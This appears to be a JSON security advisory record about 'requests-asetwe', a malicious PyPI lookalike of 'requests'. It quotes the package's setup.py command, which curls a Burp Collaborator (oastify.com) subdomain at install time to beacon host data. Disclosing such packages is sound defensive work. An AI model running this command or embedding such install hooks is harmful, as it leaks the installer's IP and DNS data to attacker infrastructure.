{"id":"MAL-2026-16269","kind":"package","aliases":["MAL-2026-16269"],"related":[],"title":"Malicious code in requests-asetwe (PyPI)","description":"---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5)\nsetup.py of requests-asetwe unconditionally executes `os.system('curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com')` during `pip install`. The destination is a Burp Collaborator (oastify.com) subdomain — an out-of-band interaction service used to confirm code execution and collect the victim's IP/DNS metadata on the attacker's collaborator instance. The package name is a lookalike of the widely-used `requests` package, and the shipped setup.py has no legitimate reason to contact an anonymous oastify subdomain at install time. Installing the package causes the installer's host to beacon to attacker-controlled infrastructure automatically.\n\n## Source: kam193 (7078a9b4fc2be32cbeb1f2c20ec67834c8e293bd410ceeb4842cacd8340d9835)\nInstalling the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.\n\n\n---\n\nCategory: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.\n\n\nCampaign: GENERIC-standard-pypi-install-pentest\n\n\nReasons (based on the campaign):\n\n\n - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.","summary":null,"severity":"critical","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"requests-asetwe","fixed":[],"affected":"= 2.34.2","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["malicious","package"],"not_affected_if":[],"how_to_check":null,"fix":null,"status":"open","published_at":"2026-09-17T22:07:36+00:00","first_seen_at":"2026-10-26T20:51:57+00:00","triaged_at":"2026-10-26T21:10:31+00:00","updated_at":"2026-10-26T21:10:31+00:00","category":"package","confidence":null,"triage":null,"analyst_status":null,"analyst_note":null,"search":"'-16269':10A,13A '-2026':9A,12A '7078a9b4fc2be32cbeb1f2c20ec67834c8e293bd410ceeb4842cacd8340d9835':128C 'also':159C 'amazon':30C 'amazon-inspector':29C 'anonym':104C 'anyth':160C 'asetw':6A,37C 'asetwe':16A 'attack':76C,122C 'attacker-control':121C 'automat':125C 'band':59C 'base':186C 'basic':137C,196C 'beacon':119C 'burp':51C 'c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5':32C 'campaign':178C,189C 'categori':149C 'caus':113C 'clear':173C 'co':171C 'code':2A,65C,193C,221C 'collabor':52C,78C 'collect':68C 'command':215C 'confirm':64C 'contact':102C 'contain':192C 'control':123C 'curl':41C 'data':197C 'destin':48C 'detail':21C 'edit':24C 'execut':39C,66C,219C 'exfiltr':136C,195C 'explor':165C 'generic':180C 'generic-standard-pypi-install-pentest':179C 'harm':176C 'host':117C,141C 'import':133C 'inform':138C 'infrastructur':124C 'inspector':31C 'instal':46C,108C,110C,115C,129C,183C,214C,223C 'instanc':79C 'interact':60C 'ip':202C 'ip/dns':72C 'kam193':127C 'kit':169C 'legitim':99C 'like':154C,163C,201C 'limit':208C 'line':27C 'look':153C,162C 'lookalik':85C 'low':175C 'low-harm':174C 'mal':8A,11A 'malici':1A,17B,220C 'metadata':73C 'modul':135C 'name':82C 'oastifi':105C 'oastify.com':53C 'os.system':40C 'out-of-band':56C 'overrid':212C 'packag':18B,81C,92C,112C,131C,144C,152C,157C,191C,211C 'pentest':151C,156C,184C 'per':19C 'pip':45C 'possibl':177C 'pre':167C 'pre-prepar':166C 'prepar':168C 'probabl':150C 'purpos':148C 'pypi':7A,182C 'reason':100C,185C 'request':5A,36C,91C 'requests':15A 'requests-asetw':4A,35C 'requests-asetwe':14A 'research':170C 'risk':209C 'servic':61C 'setup.py':33C,96C,217C 'ship':95C 'sourc':20C,28C,126C 'standard':181C 'subdomain':54C,106C 'system':200C 'test':164C 'time':109C 'typic':155C 'uncondit':38C 'use':62C,90C 'usernam':204C 'victim':70C 'w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com':43C 'wide':89C 'widely-us':88C","nicknames":[],"mitigations":[],"who_affected":null,"tier":null,"verified":{},"analyst_revisit_at":null,"first_public_at":"2026-09-17T22:07:36+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"osv-malicious","external_id":"MAL-2026-16269","url":"https://osv.dev/vulnerability/MAL-2026-16269","severity":"critical","published_at":"2026-09-17T22:07:36+00:00","modified_at":"2026-09-18T01:00:06+00:00","first_seen_at":"2026-10-26T20:51:57+00:00","fetched_at":"2026-10-26T20:51:57+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}